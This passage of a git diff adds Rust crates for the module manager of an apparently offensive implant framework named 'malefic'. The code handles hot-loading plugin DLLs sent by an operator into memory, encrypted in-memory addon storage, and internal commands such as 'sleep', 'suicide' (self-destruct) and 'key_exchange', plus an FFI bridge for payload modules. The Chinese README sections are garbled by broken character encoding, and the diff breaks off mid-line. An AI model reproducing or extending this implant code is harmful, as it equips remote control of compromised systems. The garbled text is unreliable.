+malefic-module = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-config = { workspace = true } +malefic-common = { workspace = true } +malefic-runtime = { workspace = true } diff --git a/malefic-crates/manager/README.md b/malefic-crates/manager/README.md new file mode 100644 index 0000000..88d20c9 --- /dev/null +++ b/malefic-crates/manager/README.md @@ -0,0 +1,70 @@ +# malefic-manager + +模å—与æ’件的生命周期管ç†å™¨ï¼Œè´Ÿè´£æ¨¡å—注册ã€çƒ­åŠ è½½ã€æ’件存储åŠä»»åŠ¡è°ƒåº¦ç­‰æ ¸å¿ƒç®¡ç†åŠŸèƒ½ã€‚ + +## 功能简介 + +- **模å—管ç†**:统一注册ã€åˆ·æ–°å’ŒæŸ¥è¯¢æ‰€æœ‰åŠŸèƒ½æ¨¡å—(`MaleficBundle`) +- **热加载**:è¿è¡Œæ—¶åЍæ€åŠ è½½å¤–éƒ¨æ¨¡å—二进制,无需é‡å¯å³å¯æ‰©å±•能力 +- **æ’件(Addon)管ç†**:加载ã€åˆ—举和执行自定义æ’件,æ’件内容自动压缩加密存储 +- **内部指令**:内置 `ping`ã€`sleep`ã€`suicide`ã€`key_exchange` ç­‰ç³»ç»Ÿçº§å†…éƒ¨æ¨¡å—æžšä¸¾ +- **多è¿è¡Œæ—¶æ”¯æŒ**:通过 feature 选择 `tokio`ã€`async-std` 或 `smol` 异步è¿è¡Œæ—¶ + +## Features + +| Feature | 说明 | +|---------|------| +| `tokio` | 使用 tokio 作为异步è¿è¡Œæ—¶ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `async-std` | 使用 async-std 作为异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 作为异步è¿è¡Œæ—¶ | +| `hot_load` | å¯ç”¨è¿è¡Œæ—¶çƒ­åŠ è½½å¤–éƒ¨æ¨¡å—(默认å¯ç”¨ï¼‰ | +| `addon` | å¯ç”¨æ’件管ç†åŠŸèƒ½ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | + +## 核心结构 + +### `MaleficManager` + +管ç†å™¨ä¸»ç»“æž„ä½“ï¼Œç»´æŠ¤æ¨¡å—æ³¨å†Œè¡¨ï¼ˆ`bundles`)ã€å·²åŠ è½½æ¨¡å—实例(`modules`ï¼‰ä»¥åŠæ’件映射(`addons`)。 + +### `InternalModule` + +å†…éƒ¨æ¨¡å—æžšä¸¾ï¼Œå®šä¹‰äº†æ— éœ€å¤–部加载å³å¯ä½¿ç”¨çš„系统级指令: + +| 指令 | 说明 | +|------|------| +| `ping` / `keepalive` | å¿ƒè·³ä¸Žä¿æ´» | +| `init` | åˆå§‹åŒ– | +| `load_module` / `refresh_module` / `list_module` | 模å—热加载ã€åˆ·æ–°ã€åˆ—举 | +| `load_addon` / `list_addon` / `execute_addon` / `refresh_addon` | æ’件加载ã€åˆ—ä¸¾ã€æ‰§è¡Œã€åˆ·æ–° | +| `sleep` / `suicide` | ä¼‘çœ ä¸Žè‡ªæ¯ | +| `cancel_task` / `query_task` / `list_task` | ä»»åŠ¡å–æ¶ˆã€æŸ¥è¯¢ã€åˆ—举 | +| `key_exchange` / `switch` / `clear` | 密钥交æ¢ã€åˆ‡æ¢ã€æ¸…ç† | + +### `AddonMap` + +æ’件存储映射,æ’å…¥æ—¶è‡ªåŠ¨å¯¹å†…å®¹è¿›è¡ŒåŽ‹ç¼©å’ŒåŠ å¯†ï¼Œè¯»å–æ—¶è‡ªåŠ¨è§£å¯†å’Œè§£åŽ‹ï¼Œä¿è¯æ’件内容在内存中的安全性。 + +## 基本用法 + +```rust +use malefic_manager::manager::MaleficManager; + +// 创建管ç†å™¨å¹¶æ˜¾å¼æ³¨å†Œåº”用层æä¾›çš„ bundle +let mut manager = MaleficManager::new(); +manager.register_bundle("origin", my_register_modules); +manager.refresh_module().unwrap(); + +// åˆ—ä¸¾å½“å‰æ‰€æœ‰å¯ç”¨æ¨¡å— +let internal = malefic_manager::internal::InternalModule::all(); +let (all_modules, bundle_map) = manager.list_module(internal); + +// 按åç§°èŽ·å–æ¨¡å— +if let Some(module) = manager.get_module(&"module_name".to_string()) { + // 使用 module ... +} +``` + +## å‚考链接 + +- [strum - Rust 枚举字符串派生](https://crates.io/crates/strum) +- [tokio - Rust 异步è¿è¡Œæ—¶](https://crates.io/crates/tokio) diff --git a/malefic-crates/manager/src/addons.rs b/malefic-crates/manager/src/addons.rs new file mode 100644 index 0000000..057fd08 --- /dev/null +++ b/malefic-crates/manager/src/addons.rs @@ -0,0 +1,78 @@ +#![allow(dead_code)] + +use malefic_crypto::compress::{compress, decompress}; +use malefic_crypto::crypto::{new_cryptor, Cryptor}; +use std::collections::HashMap; + +pub struct MaleficAddon { + pub(crate) name: String, + pub(crate) r#type: String, + pub(crate) depend: String, + pub(crate) content: Vec, +} + +/// Cryptor for addon at-rest storage — always uses the static compile-time KEY, +/// NOT the runtime transport key. Addon encryption is local memory protection +/// and must not be affected by transport key rotation (switch). +fn make_storage_cryptor() -> Cryptor { + let key = malefic_config::KEY.to_vec(); + let iv: Vec = key.iter().rev().cloned().collect(); + new_cryptor(key, iv) +} + +pub struct AddonMap { + addons: HashMap>, +} + +impl AddonMap { + pub fn new() -> Self { + Self { + addons: HashMap::new(), + } + } + + pub fn clear(&mut self) { + self.addons.clear(); + } + + pub fn iter(&self) -> impl Iterator)> { + self.addons.iter() + } + + pub(crate) fn insert(&mut self, addon: MaleficAddon) -> anyhow::Result<()> { + let compressed = compress(&addon.content)?; + let mut cryptor = make_storage_cryptor(); + let encrypted = cryptor.encrypt(compressed)?; + + let name = addon.name; + let encrypted_addon = Box::new(MaleficAddon { + name: name.clone(), + r#type: addon.r#type, + depend: addon.depend, + content: encrypted, + }); + + self.addons.insert(name, encrypted_addon); + Ok(()) + } + + pub(crate) fn get(&mut self, key: &str) -> anyhow::Result> { + let encrypted_addon = self + .addons + .get(key) + .ok_or_else(|| anyhow::anyhow!("addon not found: {}", key))?; + + let mut cryptor = make_storage_cryptor(); + let decrypted_content = cryptor.decrypt(encrypted_addon.content.clone())?; + + let decompressed_content = decompress(&decrypted_content)?; + + let decrypted_addon = MaleficAddon { + name: encrypted_addon.name.clone(), + r#type: encrypted_addon.r#type.clone(), + depend: encrypted_addon.depend.clone(), + content: decompressed_content, + }; + Ok(Box::new(decrypted_addon)) + } +} diff --git a/malefic-crates/manager/src/internal.rs b/malefic-crates/manager/src/internal.rs new file mode 100644 index 0000000..112643a --- /dev/null +++ b/malefic-crates/manager/src/internal.rs @@ -0,0 +1,85 @@ +use malefic_gateway::ObfDebug; +use strum_macros::{Display, EnumString}; + +#[derive(ObfDebug, EnumString, Display)] +pub enum InternalModule { + #[strum(serialize = "ping")] + Ping, + #[strum(serialize = "init")] + Init, + #[strum(serialize = "refresh_module")] + RefreshModule, + #[strum(serialize = "list_module")] + ListModule, + #[cfg(feature = "hot_load")] + #[strum(serialize = "load_module")] + LoadModule, + #[cfg(feature = "hot_load")] + #[strum(serialize = "unload_module")] + UnloadModule, + #[cfg(feature = "addon")] + #[strum(serialize = "load_addon")] + LoadAddon, + #[cfg(feature = "addon")] + #[strum(serialize = "list_addon")] + ListAddon, + #[cfg(feature = "addon")] + #[strum(serialize = "execute_addon")] + ExecuteAddon, + #[cfg(feature = "addon")] + #[strum(serialize = "refresh_addon")] + RefreshAddon, + #[strum(serialize = "clear")] + Clear, + #[strum(serialize = "cancel_task")] + CancelTask, + #[strum(serialize = "query_task")] + QueryTask, + #[strum(serialize = "list_task")] + ListTask, + #[strum(serialize = "sleep")] + Sleep, + #[strum(serialize = "suicide")] + Suicide, + #[strum(serialize = "switch")] + Switch, + #[strum(serialize = "key_exchange")] + KeyExchange, + #[strum(serialize = "keepalive")] + KeepAlive, +} + +impl InternalModule { + pub fn all() -> Vec { + vec![ + InternalModule::Ping, + InternalModule::Init, + InternalModule::RefreshModule, + InternalModule::ListModule, + #[cfg(feature = "hot_load")] + InternalModule::LoadModule, + #[cfg(feature = "hot_load")] + InternalModule::UnloadModule, + #[cfg(feature = "addon")] + InternalModule::LoadAddon, + #[cfg(feature = "addon")] + InternalModule::ListAddon, + #[cfg(feature = "addon")] + InternalModule::ExecuteAddon, + #[cfg(feature = "addon")] + InternalModule::RefreshAddon, + InternalModule::Clear, + InternalModule::CancelTask, + InternalModule::QueryTask, + InternalModule::ListTask, + InternalModule::Sleep, + InternalModule::Suicide, + InternalModule::Switch, + InternalModule::KeyExchange, + InternalModule::KeepAlive, + ] + .into_iter() + .map(|m| m.to_string()) + .collect() + } +} diff --git a/malefic-crates/manager/src/lib.rs b/malefic-crates/manager/src/lib.rs new file mode 100644 index 0000000..16ac01b --- /dev/null +++ b/malefic-crates/manager/src/lib.rs @@ -0,0 +1,3 @@ +mod addons; +pub mod internal; +pub mod manager; diff --git a/malefic-crates/manager/src/manager.rs b/malefic-crates/manager/src/manager.rs new file mode 100644 index 0000000..7c9587c --- /dev/null +++ b/malefic-crates/manager/src/manager.rs @@ -0,0 +1,353 @@ +use std::collections::HashMap; +use std::str::FromStr; + +#[cfg(feature = "addon")] +use crate::addons::{AddonMap, MaleficAddon}; +use crate::internal::InternalModule; +use malefic_common::check_body; +use malefic_common::errors::MaleficError; +use malefic_module::prelude::*; +use malefic_proto::new_spite; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{self, Spite}; +use malefic_proto::proto::modulepb; +#[cfg(feature = "addon")] +use malefic_proto::proto::modulepb::Addon; + +/// Legacy module registration function type (same-compiler only, used by built-in modules). +#[allow(improper_ctypes_definitions)] +pub type ModuleRegister = extern "C" fn() -> MaleficBundle; + +pub struct MaleficManager { + /// Built-in module bundles (statically linked, same compiler). + bundles: HashMap, + pub(crate) modules: Box, + /// Plugin DLL loader (owns PE handles for unload). + #[cfg(all(feature = "hot_load", target_os = "windows"))] + plugin_loader: malefic_runtime::host::PluginLoader, + #[cfg(feature = "addon")] + addons: AddonMap, +} + +impl MaleficManager { + pub fn new() -> Self { + MaleficManager { + bundles: HashMap::new(), + modules: Box::new(HashMap::new()), + #[cfg(all(feature = "hot_load", target_os = "windows"))] + plugin_loader: malefic_runtime::host::PluginLoader::new(), + #[cfg(feature = "addon")] + addons: AddonMap::new(), + } + } + + pub fn clean(&mut self) -> Result<(), MaleficError> { + #[cfg(feature = "addon")] + let _ = self.refresh_addon()?; + let _ = self.refresh_module()?; + Ok(()) + } + + /// Register a built-in module bundle (statically linked, same compiler). + pub fn register_bundle( + &mut self, + name: impl Into, + bundle: ModuleRegister, + ) -> Option { + self.bundles.insert(name.into(), bundle) + } + + pub fn unregister_bundle(&mut self, name: &str) -> Option { + self.bundles.remove(name) + } + + pub fn refresh_module(&mut self) -> Result<(), MaleficError> { + self.reload() + } + + #[cfg(feature = "addon")] + pub fn refresh_addon(&mut self) -> Result<(), MaleficError> { + self.addons.clear(); + Ok(()) + } + + pub fn reload(&mut self) -> Result<(), MaleficError> { + self.modules.clear(); + for (_name, bundle) in self.bundles.iter() { + let bundle_modules = bundle(); + debug!("refresh module: {} {:?}", _name, bundle_modules.keys()); + for (module_name, module) in bundle_modules { + self.modules.insert( + module_name.to_string(), + malefic_runtime::host::RtBridge::wrap(module), + ); + } + } + Ok(()) + } + + /// Hot-load a module DLL from a Spite (used by stub/dispatch_internal), + /// with fallback to legacy register_modules. + pub fn load_module(&mut self, spite: Spite) -> Result, MaleficError> { + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + let module = check_body!(spite, Body::LoadModule)?; + let bin = check_field!(module.bin)?; + return self.load_module_from_bytes(bin); + } + #[cfg(not(all(feature = "hot_load", target_os = "windows")))] + { + let _ = spite; + Ok(Vec::new()) + } + } + + /// Hot-load a module DLL from raw bytes via PluginLoader. + pub fn load_module_from_bytes(&mut self, bin: Vec) -> Result, MaleficError> { + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + let plugin_name = format!("plugin_{}", self.plugin_loader.loaded_plugins().len()); + let bundle = unsafe { + self.plugin_loader + .load(plugin_name.clone(), bin) + .map_err(|_| MaleficError::ModuleError)? + }; + let mut names = Vec::new(); + for (module_name, module) in bundle { + names.push(module_name.clone()); + self.modules.insert(module_name, module); + } + debug!("[+] loaded plugin '{}': {:?}", plugin_name, names); + Ok(names) + } + #[cfg(not(all(feature = "hot_load", target_os = "windows")))] + { + let _ = bin; + Ok(Vec::new()) + } + } + + /// Unload a previously loaded plugin DLL, removing its modules. + pub fn unload_plugin(&mut self, name: &str) -> Result, MaleficError> { + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + let removed_names = unsafe { + self.plugin_loader + .unload(name) + .ok_or(MaleficError::ModuleError)? + }; + for module_name in &removed_names { + self.modules.remove(module_name); + } + debug!("[+] unloaded plugin '{}': {:?}", name, removed_names); + Ok(removed_names) + } + #[cfg(not(all(feature = "hot_load", target_os = "windows")))] + { + let _ = name; + Ok(Vec::new()) + } + } + + pub fn list_module(&self, internal: Vec) -> (Vec, HashMap) { + let mut bundle_map = HashMap::new(); + + // built-in bundles + for (bundle_name, bundle_fn) in self.bundles.iter() { + let bundle_modules = bundle_fn(); + for module_name in bundle_modules.keys() { + bundle_map.insert(module_name.clone(), bundle_name.clone()); + } + } + + // hot-loaded plugins + #[cfg(all(feature = "hot_load", target_os = "windows"))] + { + bundle_map.extend(self.plugin_loader.module_plugin_map()); + } + + // internal modules have no bundle + for name in &internal { + bundle_map.insert(name.clone(), "builtin".to_string()); + } + + let modules: Vec = self.modules.keys().cloned().chain(internal).collect(); + (modules, bundle_map) + } + + pub fn get_module(&self, name: &str) -> Option<&Box> { + self.modules.get(name) + } + + #[cfg(feature = "addon")] + pub fn get_addon(&mut self, name: &str) -> anyhow::Result> { + self.addons.get(name) + } + + #[cfg(feature = "addon")] + pub fn list_addon(&self) -> Vec { + self.addons + .iter() + .map(|(name, module)| Addon { + name: name.clone(), + r#type: module.r#type.clone(), + depend: module.depend.clone(), + }) + .collect() + } + + #[cfg(feature = "addon")] + pub fn load_addon(&mut self, spite: Spite) -> Result<(), MaleficError> { + let ext = check_body!(spite, Body::LoadAddon)?; + let addon = MaleficAddon { + name: check_field!(ext.name)?, + r#type: ext.r#type, + depend: check_field!(ext.depend)?, + content: check_field!(ext.bin)?, + }; + self.addons.insert(addon)?; + Ok(()) + } + + #[cfg(feature = "addon")] + pub fn execute_addon(&mut self, spite: Spite) -> Result { + let ext = check_body!(spite, Body::ExecuteAddon)?; + let addon_name = check_field!(ext.addon)?; + let addon = self.get_addon(&addon_name)?; + if self.get_module(&addon.depend).is_none() { + return Err(MaleficError::ModuleNotFound); + } + let mut execute_binary = ext.execute_binary.clone().ok_or(MaleficError::MissBody)?; + execute_binary.bin = addon.content.clone(); + execute_binary.name = addon.name.clone(); + let result = new_spite( + spite.task_id, + addon.depend.clone(), + Body::ExecuteBinary(execute_binary), + ); + Ok(result) + } + + // ── Internal module dispatch ─────────────────────────────────────────── + + /// Try to handle a Spite as an internal module. + /// + /// Returns: + /// - `Ok(Some(spite))` — internal module handled, response ready + /// - `Ok(None)` — not an internal module, caller should dispatch to external module + /// - `Err(BeaconOnly(_))` — beacon-only internal module, caller handles + /// - `Err(other)` — processing error + /// + /// `register_info` is an optional callback that provides sysinfo + name + timer + /// for the `init` command. If None, a minimal Register is returned. + pub fn dispatch_internal( + &mut self, + req: &Spite, + register_info: Option< + &dyn Fn(&MaleficManager) -> (Option, String, Vec), + >, + ) -> Result, MaleficError> { + let name_str = req.name.as_str(); + match InternalModule::from_str(name_str) { + Ok(InternalModule::Ping) => { + let ping = check_body!(req, Body::Ping)?; + Ok(Some(new_spite( + req.task_id, + InternalModule::Ping.to_string(), + Body::Ping(modulepb::Ping { nonce: ping.nonce }), + ))) + } + Ok(InternalModule::Init) => { + let (sysinfo, register_name, addons) = if let Some(info_fn) = register_info { + info_fn(self) + } else { + (None, "reactor".to_string(), Vec::new()) + }; + let (modules, _) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + "register".to_string(), + Body::Register(modulepb::Register { + name: register_name, + proxy: String::new(), + module: modules, + addons: addons + .into_iter() + .map(|a| modulepb::Addon { + name: a, + r#type: String::new(), + depend: String::new(), + }) + .collect(), + sysinfo, + timer: None, + secure: None, + }), + ))) + } + Ok(InternalModule::ListModule) => { + let (modules, bundle_map) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + InternalModule::ListModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map, + }), + ))) + } + Ok(InternalModule::RefreshModule) => { + self.refresh_module()?; + let (modules, bundle_map) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + InternalModule::RefreshModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map, + }), + ))) + } + #[cfg(all(feature = "hot_load", target_os = "windows"))] + Ok(InternalModule::LoadModule) => { + let modules = self.load_module(req.clone())?; + Ok(Some(new_spite( + req.task_id, + InternalModule::LoadModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map: HashMap::new(), + }), + ))) + } + #[cfg(all(feature = "hot_load", target_os = "windows"))] + Ok(InternalModule::UnloadModule) => { + let unload_req = check_body!(req.clone(), Body::Request)?; + let plugin_name = check_field!(unload_req.input)?; + let _removed = self.unload_plugin(&plugin_name)?; + // return full module list after unload + let (modules, bundle_map) = self.list_module(InternalModule::all()); + Ok(Some(new_spite( + req.task_id, + InternalModule::UnloadModule.to_string(), + Body::Modules(modulepb::Modules { + modules, + bundle_map, + }), + ))) + } + Ok(InternalModule::Clear) => { + self.clean()?; + Ok(Some(new_spite( + req.task_id, + InternalModule::Clear.to_string(), + Body::Empty(implantpb::Empty::default()), + ))) + } + // Beacon-only modules — caller handles + Ok(other) => Err(MaleficError::BeaconOnly(other.to_string())), + // Not an internal module — fall through to external + Err(_) => Ok(None), + } + } +} diff --git a/malefic-crates/module/Cargo.toml b/malefic-crates/module/Cargo.toml new file mode 100644 index 0000000..fbdb9e5 --- /dev/null +++ b/malefic-crates/module/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "malefic-module" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +ffi = ["prost"] + +[dependencies] +malefic-proto = { workspace = true } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } +thiserror = { workspace = true } +anyhow = { workspace = true } +async-trait = { workspace = true } +futures = { workspace = true } +futures-channel = { workspace = true } +prost = { workspace = true, optional = true } diff --git a/malefic-crates/module/README.md b/malefic-crates/module/README.md new file mode 100644 index 0000000..45d394e --- /dev/null +++ b/malefic-crates/module/README.md @@ -0,0 +1,92 @@ +# malefic-module + +定义模å—统一 trait 接å£ã€ä»»åŠ¡ç»“æžœå°è£…åŠè¾…助å®ï¼Œä¸ºæ‰€æœ‰åŠŸèƒ½æ¨¡å—æä¾›æ ‡å‡†åŒ–çš„å¼€å‘基础。 + +## 功能简介 + +- 定义 `Module` å’Œ `ModuleImpl` 异步 trait,规范模å—çš„ç”Ÿå‘½å‘¨æœŸä¸Žæ‰§è¡Œå…¥å£ +- æä¾› `TaskResult` 结构体,统一å°è£…任务执行结果ã€çжæ€ç ä¸Žé”™è¯¯ä¿¡æ¯ +- æä¾› `TaskError` 错误枚举,覆盖字段校验ã€ç±»åž‹ä¸åŒ¹é…等常è§é”™è¯¯åœºæ™¯ +- 内置一组辅助å®ï¼ˆ`check_request!`ã€`check_field!` 等),简化模å—å¼€å‘ä¸­çš„å‚æ•°æ ¡éªŒ +- 通过 `prelude` 模å—导出所有常用类型与å®ï¼Œä¸€è¡Œ `use` å³å¯å¼€å§‹å¼€å‘ + +## 核心类型 + +| 类型 | 说明 | +|------|------| +| `Module` | æ¨¡å— trait,定义 `name()`ã€`new()`ã€`new_instance()` | +| `ModuleImpl` | 模å—实现 trait,定义异步 `run()` æ‰§è¡Œå…¥å£ | +| `TaskResult` | ä»»åŠ¡æ‰§è¡Œç»“æžœï¼ŒåŒ…å« `task_id`ã€`body`ã€`status` | +| `TaskError` | 任务错误枚举,æ¯ç§å˜ä½“å¯¹åº”å”¯ä¸€é”™è¯¯ç  | +| `MaleficModule` | `dyn Module + Send + Sync + 'static` 的类型别å | +| `MaleficBundle` | `HashMap>`ï¼Œæ¨¡å—æ³¨å†Œè¡¨ | +| `Input` / `Output` | 基于 `futures-channel` 的异步输入/输出通é“类型 | + +## è¾…åŠ©å® + +| å® | 说明 | +|----|------| +| `check_request!` | ä»Žè¾“å…¥é€šé“æŽ¥æ”¶æ¶ˆæ¯å¹¶åŒ¹é…预期å˜ä½“,失败返回 `NotExpectBody` | +| `check_field!` | 校验字段éžç©ºæˆ–长度是å¦ç¬¦åˆé¢„期 | +| `check_optional!` | 校验 `Option` 字段是å¦ä¸º `Some`,支æŒé•¿åº¦æ£€æŸ¥ | +| `register_module!` | 按 feature gate 将模å—实例注册到 `MaleficBundle` | +| `to_error!` | 将任æ„错误转æ¢ä¸º `anyhow::Error` | +| `debug!` | 仅在 debug 构建时打å°è°ƒè¯•ä¿¡æ¯ | + +## 基本用法 + +实现一个自定义模å—: + +```rust +use malefic_module::prelude::*; +use async_trait::async_trait; + +pub struct MyModule; + +#[async_trait] +impl Module for MyModule { + fn name() -> &'static str { "my_module" } + fn new() -> Self { MyModule } + fn new_instance(&self) -> Box { Box::new(MyModule) } +} + +#[async_trait] +impl ModuleImpl for MyModule { + async fn run( + &mut self, + id: u32, + receiver: &mut Input, + sender: &mut Output, + ) -> ModuleResult { + // ä»Žé€šé“æŽ¥æ”¶è¯·æ±‚å¹¶æ ¡éªŒ + let request = check_request!(receiver, Body::Request)?; + let name = check_field!(request.name)?; + + // 构造返回结果 + Ok(TaskResult::new_with_body(id, Body::Response(Response { + output: format!("hello {}", name), + ..Default::default() + }))) + } +} +``` + +注册模å—到 bundle: + +```rust +use malefic_module::prelude::*; + +let mut bundle: MaleficBundle = HashMap::new(); +register_module!(bundle, "my_module", MyModule); +``` + +## TaskError é”™è¯¯ç  + +| é”™è¯¯ç  | å˜ä½“ | å«ä¹‰ | +|--------|------|------| +| 2 | `OperatorError` | 通用è¿è¡Œæ—¶é”™è¯¯ | +| 3 | `NotExpectBody` | 收到éžé¢„期的消æ¯ç±»åž‹ | +| 4 | `FieldRequired` | 必填字段缺失 | +| 5 | `FieldLengthMismatch` | 字段长度ä¸åŒ¹é… | +| 6 | `FieldInvalid` | 字段值无效 | +| 99 | `NotImpl` | 功能未实现 | diff --git a/malefic-crates/module/src/abi.rs b/malefic-crates/module/src/abi.rs new file mode 100644 index 0000000..129f3c3 --- /dev/null +++ b/malefic-crates/module/src/abi.rs @@ -0,0 +1,116 @@ +//! C ABI type definitions for the malefic module runtime protocol. +//! +//! All types here are `#[repr(C)]` and use only C-compatible primitives. +//! This ensures binary compatibility across Rust versions, targets, and toolchains. + +use core::ffi::c_void; + +/// ABI version. Host checks this before calling any other export. +/// Bump when the protocol changes in an incompatible way. +pub const RT_ABI_VERSION: u32 = 2; + +// ── Buffer ────────────────────────────────────────────────────────────────── + +/// A buffer allocated by one side of the FFI boundary. +/// +/// The allocating side provides a free function (`rt_free` for module-allocated, +/// `RtHostFreeFn` for host-allocated). The other side must NOT free it directly. +#[repr(C)] +#[derive(Debug)] +pub struct RtBuffer { + pub ptr: *mut u8, + pub len: u32, +} + +impl RtBuffer { + pub const fn empty() -> Self { + Self { + ptr: core::ptr::null_mut(), + len: 0, + } + } + + pub fn from_vec(v: Vec) -> Self { + let mut v = v.into_boxed_slice(); + let ptr = v.as_mut_ptr(); + let len = v.len() as u32; + core::mem::forget(v); + Self { ptr, len } + } + + pub unsafe fn as_bytes(&self) -> &[u8] { + if self.ptr.is_null() || self.len == 0 { + &[] + } else { + core::slice::from_raw_parts(self.ptr, self.len as usize) + } + } + + pub fn is_empty(&self) -> bool { + self.ptr.is_null() || self.len == 0 + } +} + +/// Free a buffer created via [`RtBuffer::from_vec`]. +/// +/// # Safety +/// Must only be called on buffers created from `Vec` in the same binary. +pub unsafe fn rt_buffer_from_vec_free(buf: RtBuffer) { + if !buf.ptr.is_null() && buf.len > 0 { + let _ = Vec::from_raw_parts(buf.ptr, buf.len as usize, buf.len as usize); + } +} + +// ── Status ────────────────────────────────────────────────────────────────── + +/// Status code returned by `rt_module_run`. +#[repr(C)] +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum RtStatus { + /// Error occurred. `final_out` contains UTF-8 error message. + Error = 1, + /// Module run completed successfully. `final_out` contains encoded Spite. + Done = 2, +} + +// ── Module Handle ─────────────────────────────────────────────────────────── + +/// Opaque handle to a module instance on the DLL side. +/// +/// Created by `rt_module_create`, destroyed by `rt_module_destroy`. +/// The host must not inspect or dereference this pointer. +#[repr(C)] +pub struct RtModuleHandle { + _opaque: [u8; 0], +} + +// ── Callback Types ────────────────────────────────────────────────────────── + +/// Module → Host: push output data. +/// +/// The host copies `data[0..len]` before returning. The module may free +/// or reuse its buffer after this call returns. +/// +/// Returns: `0` = ok, `-1` = host channel closed (module should exit). +pub type RtSendFn = unsafe extern "C" fn(ctx: *mut c_void, data: *const u8, len: u32) -> i32; + +/// Host → Module: pull input data (blocking). +/// +/// Blocks until the host has data available. On success, `*out_data` and +/// `*out_len` are set to a host-allocated buffer. The module must call +/// `RtHostFreeFn` to release it after reading. +/// +/// Returns: `0` = ok, `-1` = EOF (no more input, module should exit). +pub type RtRecvFn = + unsafe extern "C" fn(ctx: *mut c_void, out_data: *mut *mut u8, out_len: *mut u32) -> i32; + +/// Host → Module: non-blocking receive. +/// +/// Same as `RtRecvFn` but returns immediately if no data is available. +/// +/// Returns: `0` = data available, `-1` = no data (would block), `-2` = EOF. +pub type RtTryRecvFn = + unsafe extern "C" fn(ctx: *mut c_void, out_data: *mut *mut u8, out_len: *mut u32) -> i32; + +/// Free a buffer allocated by the host (returned by `RtRecvFn` / `RtTryRecvFn`). +pub type RtHostFreeFn = unsafe extern "C" fn(ptr: *mut u8, len: u32); diff --git a/malefic-crates/module/src/codec.rs b/malefic-crates/module/src/codec.rs new file mode 100644 index 0000000..754ea2f --- /dev/null +++ b/malefic-crates/module/src/codec.rs @@ -0,0 +1,30 @@ +//! Spite encode/decode helpers for crossing the FFI boundary. + +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Status}; +use prost::Message; + +/// Encode a `Spite` into protobuf bytes. +pub fn encode_spite(spite: &Spite) -> Vec { + spite.encode_to_vec() +} + +/// Decode a `Spite` from protobuf bytes. +pub fn decode_spite(bytes: &[u8]) -> anyhow::Result { + Spite::decode(bytes).map_err(|e| anyhow::anyhow!("spite decode error: {}", e)) +} + +/// Wrap a `Body` into a `Spite` and encode to protobuf bytes. +pub fn encode_body(task_id: u32, body: Body) -> Vec { + let spite = Spite { + task_id, + body: Some(body), + status: Some(Status { + task_id, + status: 0, + error: String::new(), + }), + ..Default::default() + }; + spite.encode_to_vec() +} diff --git a/malefic-crates/module/src/ffi.rs b/malefic-crates/module/src/ffi.rs new file mode 100644 index 0000000..58d95a8 --- /dev/null +++ b/malefic-crates/module/src/ffi.rs @@ -0,0 +1,176 @@ +//! Shared FFI utilities for malefic 3rd-party language modules. +//! +//! Gated behind the `ffi` feature of `malefic-module`. +//! +//! Provides: +//! - [`FfiBuffer`] — RAII guard for foreign-allocated memory +//! - [`ffi_free`] / [`ffi_module_name`] — C memory helpers +//! - [`encode_request`] / [`decode_response`] — protobuf serialization +//! - [`HandlerFn`] / [`ffi_run_loop`] — streaming bridge for synchronous handlers + +use std::ffi::{c_char, c_int, c_uint, CStr}; + +use crate::{Body, Input, ModuleResult, Output, TaskResult}; +use malefic_proto::proto::modulepb::{Request, Response}; + +// Re-export FFI-relevant types for convenience (`use malefic_module::ffi::*`) +pub use anyhow::anyhow; +pub use async_trait::async_trait; + +// ── libc free ─────────────────────────────────────────────────────────────── + +extern "C" { + fn free(ptr: *mut std::ffi::c_void); +} + +/// Free a pointer allocated by foreign code (C `malloc` / Go `C.CBytes` / etc.). +/// +/// # Safety +/// `ptr` must have been allocated by the C allocator (`malloc`). +pub(crate) unsafe fn ffi_free(ptr: *mut c_char) { + free(ptr as *mut std::ffi::c_void); +} + +// ── FfiBuffer ─────────────────────────────────────────────────────────────── + +/// RAII guard for a buffer allocated by foreign code via `malloc`. +/// +/// On drop, calls `free()` to release the memory. +/// This prevents leaks when decoding fails or an early return occurs. +pub struct FfiBuffer { + ptr: *mut c_char, + len: usize, +} + +impl FfiBuffer { + /// Wrap a foreign-allocated pointer. + /// + /// # Safety + /// `ptr` must be non-null, valid for `len` bytes, and allocated via `malloc`. + pub unsafe fn new(ptr: *mut c_char, len: usize) -> Self { + Self { ptr, len } + } + + /// View the buffer contents as a byte slice. + pub fn as_bytes(&self) -> &[u8] { + unsafe { std::slice::from_raw_parts(self.ptr as *const u8, self.len) } + } +} + +impl Drop for FfiBuffer { + fn drop(&mut self) { + if !self.ptr.is_null() { + unsafe { ffi_free(self.ptr) }; + } + } +} + +// ── Module name retrieval ─────────────────────────────────────────────────── + +/// Retrieve a module name string from an FFI `name_fn`. +/// +/// If `needs_free` is true, the returned C string pointer will be freed after +/// copying (Go-style, where the name is heap-allocated via `C.CString`). +/// If false, the pointer is assumed to be static (C/Zig/Nim-style). +/// +/// # Safety +/// `name_fn` must return a valid, NUL-terminated C string. +pub unsafe fn ffi_module_name( + name_fn: unsafe extern "C" fn() -> *const c_char, + needs_free: bool, +) -> String { + let ptr = name_fn(); + let name = CStr::from_ptr(ptr).to_string_lossy().into_owned(); + if needs_free { + ffi_free(ptr as *mut c_char); + } + name +} + +// ── Protobuf encode / decode ──────────────────────────────────────────────── + +/// Encode a prost `Request` into bytes suitable for passing across FFI. +pub fn encode_request(request: &Request) -> anyhow::Result> { + use 